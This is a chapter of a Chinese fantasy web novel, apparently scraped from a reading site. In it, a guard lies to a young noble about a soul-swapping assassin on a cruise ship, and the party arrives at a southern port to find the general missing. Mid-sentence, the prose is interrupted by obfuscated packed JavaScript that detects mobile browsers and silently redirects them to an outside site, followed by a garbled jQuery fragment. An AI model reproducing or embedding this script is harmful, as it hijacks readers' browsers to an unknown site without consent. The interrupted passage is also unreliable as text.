“蔷薇号”豪华游轮上，贵族、贵族侍从、普通船员用餐的餐厅均不相同。
贵族的专属餐厅配备了三位具有味觉异能的顶级厨师，供应当日新鲜打捞的珍稀海产、以及各类精肉蔬菜。
前往南部军团的行程随着傍晚游轮靠岸就能抵达终点，好在两天一夜的船上生活并不漫长，贵族们还没有厌烦无穷无尽的海鲜。
用午餐的时间，皮罗星一改往日单独用餐的习惯，亲自来到餐厅选了能一览无余的位置，准备时刻关注法米娜的状态。
万万没想到每天中午都在众人簇拥中享用午餐的法米娜中午却意外地没有出现……
“不会是在虐待怀特吧！”
回舱房的路上，心事重重的皮罗星一路紧皱着眉头，完全没有匹配他年龄的少年模样。
“殿下，我回来了。”
皮罗星应声抬头，一位浑身血污的护卫站在他的房间门口，正屈膝俯身向他行礼。
“怀特？！”皮罗星惊讶地喊出声来，快跑两步扶起僵硬的护卫长，阻止他多余的礼节。
“你是……从加纳家逃出来的？”
怀特愣住，略带委屈：“罗耀特没有逃兵。是法米娜殿下亲自释放我的，她允许我归队了，”
皮罗星满腹疑问，扯着怀特的胳膊回到舱房，关门问道：
“快点告诉我着到底怎么是回事，她为什么又会释放你？咦，你肯说话了……不许再隐瞒我。”
“是，殿下。”
怀特虽然答应地很痛快，但他的首要任务还是服从海拉殿下的命令——对真相严格保密。
因此他只能按照“法米娜”在甲板上教给自己的“谎言”应付面前关切自己的二殿下。
“昨晚舞会结束后，法米娜殿下与护卫晞尔去甲板散步，两人意外碰到了一名事先埋伏在游轮内的换魂师刺客。”
“晞尔为救主人被换魂师换魂，刺客将殿下扔到海水中，逃跑的时候正巧遇见我，被我一刀毙命。”
皮罗星紧盯着面前脸红发胀的怀特，全程怀疑着听完。
“你的出现是巧合，不是姐姐安排的？”
“是的。”怀特笃定地点头回答道：“与海拉殿下无关。”
“你为什么会出现在那里，为什么见到晞尔就动手，你怎么知道她被换魂了？”
怀特早有应对，“坦然”地说：
“我听到了法米娜殿下的呼救声才前往船尾的甲板察看情况，正巧撞见了慌张的晞尔。我按例向她问话，她却支支吾吾，并且显然不认识我。”
“不认识你怎么了，你们之前有交集吗？”
“是的，殿下。平民公职招募大会仪式那天，是我将晞尔带到家族休息室与您见面。自那天起，我便倾慕于她，昨晚还向她正式求婚。因此她一定认识我的。”
“什么……和什么……”
怀特的话冲击力太强，皮罗星的脑袋瞬间停止了运转：
“我提供机会让怀特认识了晞尔，两个星期的时间，怀特计划向她求婚！这么快吗？不可能！但……但也不是完全不可能……怀特是单身，有追求心仪女性的权利……”
他跟随自己的直觉追问道：
“呃，她不是你喜欢的人吗，你仅凭这点推测就直接杀了她？”
“殿下，并不是。”怀特否认：
“接着我又听到落水的法米娜小姐喊‘换魂师’相关的内容，于是更加确认了自己猜想，在换魂师对我下手前先动手杀了她。”
“随后，我带着她的尸体走到船头，呼叫更多人下水营救法米娜殿下。”
“这就是事情的全部真相了，殿下。”
皮罗星还是不相信：
“既然你做的是光荣的事情，昨晚为什么不跟我说实话？”
“晞尔被害，我很心痛，一时之间说不出话来。求殿下谅解……”
怀特说着，俊美的脸上染上一抹厚重的哀愁，让皮罗星也有些于心不忍。
“可怜的怀特，好不容易有了动心的女性，却被逼对她挥刀。这种痛太沉重了，难怪他昨晚一言不发……真是个坚强的男人！”
见面前的二殿下已经对这套说辞信以为真，怀特补充道：
“法米娜殿下已经派人将事情的真相告知劳瑞殿下了，她还说回去要用加纳家族对待英雄的礼仪为晞尔处理后事。”
“我的心结解开了，第一时间回来向您致歉复命。”
皮罗星语塞，虽然心中还有疑虑，但看着面前“痛失爱人”的护卫长，也不好再说质疑的话。
“经历这样的一夜，你的身心应该几乎濒临极限了。你回去好好休息吧，这段时间你别再值班工作了。对了，晞尔的遗体已经处理好了，安置在底层停尸间，你可以前去与她告别。”
怀特将左拳置于胸口，再次俯身行礼道：
“感谢您的仁慈。”
说完，他在贵族少年复杂的眼神中缓缓走出舱房。确认房门关紧后，他长呼了一口气：
“二殿下这边总算敷衍过去了……编织谎言简直比让我坐牢还难受！”
“不得不说，法米娜殿下编造的说辞还真有一套。虽然不算十分缜密，但加入‘我亲手杀死爱人’的情节后，浓烈的感情让殿下不再深入考究细节，才终于应付过去。”
“昨晚到底发生了什么，海拉殿下为什么会提前知道，法米娜殿下身体里到底是谁的灵魂……？”
怀特摇了摇头，他自认脑袋不灵光，只是由于相貌的原因看起来聪明算计，通宵的心理煎熬与连番袭来的疑惑让他头痛欲裂。
“不想了，这些本来也不是我该思考的。我要做的只有服从家族的命令。”
“修整一下，要立即投入状态执行海拉殿下的新指示：从现在起到考察团返回王都的这段时间内”
“——保护法米娜殿下！”
……
从停放晞尔遗体的房间回来后。杰克和露露不出意外地被孤立了。
这也不奇怪，在同伴们眼中，大家都是布提思家的护卫，当然要毫无理由相信正直的护卫长！即使他动手了，那也必然有动手的苦衷。况且那时怀特还被加纳家族扣押着，杰克和露露却“毫无原则”地看望外人的尸体……
两人的行为惹了众怒，大家普遍认为：这两个半路出身的平民护卫没有忠诚的信念。
所幸船上的消息传得很快，尤其是这种大新闻。在得知“真相”后，杰克才敢捂着脸痛哭出声。
“我就知道晞尔不是我们的敌人，她是难得的好人，从她为威尔出头的时候我就知道，她是个品德高尚的人！”
露露没有哭，怔怔地坐在杰克身旁：
“我从来没见过死人。昨天还跟我们嘻嘻哈哈的朋友，今天就变成
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668733|173047||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了一具尸体。”
“杰克，我有点后悔了，后悔来参加公职的选拔。其实我之前在格斗馆收入也够用，大家下手也有轻重，从来没出过人命……”
大块头杰克此时哭得像块融化的黄油，他也只见过亲人病重离世的场面，却从没想过一个健康而生命力旺盛的女孩会如此迅速地枯萎。
他也害怕死亡，可是决不能放弃这份工作，他的女儿还在生病，正是缺钱的时候，他不能因为胆小而跑回家。
即使是死在岗位上，起码也能为女儿换一笔抚慰金治病！
他痛苦地想着，说不出安慰露露的话，只能由嚎啕大哭来发泄自己崩溃的情绪：
“晞尔……呜呜……可怜的晞尔……”
……
傍晚，“蔷薇号”游轮载着一船各怀心事的男男女女平稳地停靠在了斯沃奇军港的码头。
披着法米娜外皮的晞尔跟在劳瑞·安诺福斯身后，站在甲板上等待与来迎接他们的法斯曼上将碰面。
她充分利用下午的时间，以身体不适为借口，拒绝了以安迪为首的众多追求者的拜访，从贴身女仆莉亚和薇吉两人口中套取了不少重要信息。
其中最好的消息是：法米娜从来没来过斯沃奇郡，她对军事、政治统统不关心，之前也没见过法斯曼·霍尔上将！
“太好了……应对陌生人总比应对熟人简单得多！”
皮罗星站在“法米娜”身侧，是不是便满怀狐疑地打量着她，试图想找出些证明她不对劲的证据。
他也知道自己总是留意法米娜这个对头不对劲，却仍然无法控制心里的怪异感。
晞尔早就发现皮罗星多次偷瞟自己的视线，现阶段她不想再和这个“较真”的小弟弟再有牵扯，于是干脆装作没看到。
“他一定对怀特带回去的真相还有疑虑……哎，年纪这么小就想这么多，容易早衰啊！”
“不过他可比他姐姐海拉差远了，无论是谋略还是心智……怪不得提起布提思家族，大家就知道海拉呢。”
“看来姐弟俩思虑重是家族遗传的啊。不知道加纳家族的特征是什么……浮夸吗？”
“咦，劳瑞似乎发现皮罗星总是偷瞄我了，他眉头微皱，估计也觉得皮罗星的举止有失体面。”
晞尔一路乱七八糟地想着，心情愉悦地踏着夕阳的余晖下船。
回到了自己家族的领地，皮罗星下船后见到了不少熟人。迎面而来的是大校贝特雷，他也曾是效忠家族的秘书员，因为杰出的谋算能力被姐姐发掘并推荐到军队任职。
皮罗星觉得贝特雷的反应有些异样。
不知是因为太久没见贵族紧张，还是因为见到自己太过激动，行礼时居然出现了多处疏漏。
俯身摆臂礼应该先将下垂的左臂直立举起、再贴胸口、继而弯腰俯身，而贝特雷却做的杂乱无章，不知道他在着急些什么。
“法斯曼将军呢？”皮罗星问道，最近南部没有战事，按道理她应该亲自出面迎接未来的王位候选人劳瑞和法米娜才对。
大校贝特雷压低声音，克制住语气的颤抖：
“殿下们，不好了……将军今天凌晨乘船出海，至今未归！擅长听力的哨兵报告，听到北部方向有剧烈爆炸声……我们派船找了一天，只找到零星的军船残骸与无法分辨样貌的尸体……”
“将军可能遇害了！”